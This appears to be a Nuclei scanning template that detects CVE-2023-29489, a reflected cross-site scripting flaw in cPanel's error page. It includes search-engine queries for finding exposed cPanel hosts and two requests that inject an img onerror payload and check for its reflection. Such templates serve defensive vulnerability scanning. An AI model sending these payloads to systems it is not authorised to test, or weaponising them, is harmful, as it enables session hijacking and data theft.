id: CVE-2023-29489

info:
  name: cPanel < 11.109.9999.116 - Cross-Site Scripting
  author: DhiyaneshDk,0xKayala
  severity: medium
  description: |
    An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by cPanel to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://forums.cpanel.net/threads/cpanel-tsr-2023-0001-full-disclosure.708949/
    - https://github.com/SynixCyberCrimeMy/CVE-2023-29489
    - https://github.com/learnerboy88/CVE-2023-29489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29489
    cwe-id: CWE-79
    epss-score: 0.65533
    epss-percentile: 0.99187
    cpe: cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cpanel
    product: cpanel
    shodan-query:
      - "title:\"cPanel\""
      - http.title:"cpanel"
      - cpe:"cpe:2.3:a:cpanel:cpanel"
      - http.title:"cpanel - api codes"
    fofa-query:
      - "title=\"cpanel - api codes\""
      - title="cpanel"
    google-query:
      - "intitle:\"cpanel - api codes\""
      - intitle:"cpanel"
  tags: cve,cve2023,cpanel,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'
      - '{{BaseURL}}/cpanelwebcall/<><img%20src=x%20onerror="prompt(document.domain)">'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
          - 'Invalid webcall ID:'
        condition: and

      - type: status
        status:
          - 400
# digest: 4a0a004730450220062994e40729a5d7e4a4e8b69503d05b66f6f3b8dfe2ccf4b72bb6710a3e8be8022100adc6d8cd4e49cd351c27a849f981a9254f20a0b51d5d5fe9da762f24bae6c6ee:922c64590222798bb761d5b6d8e72950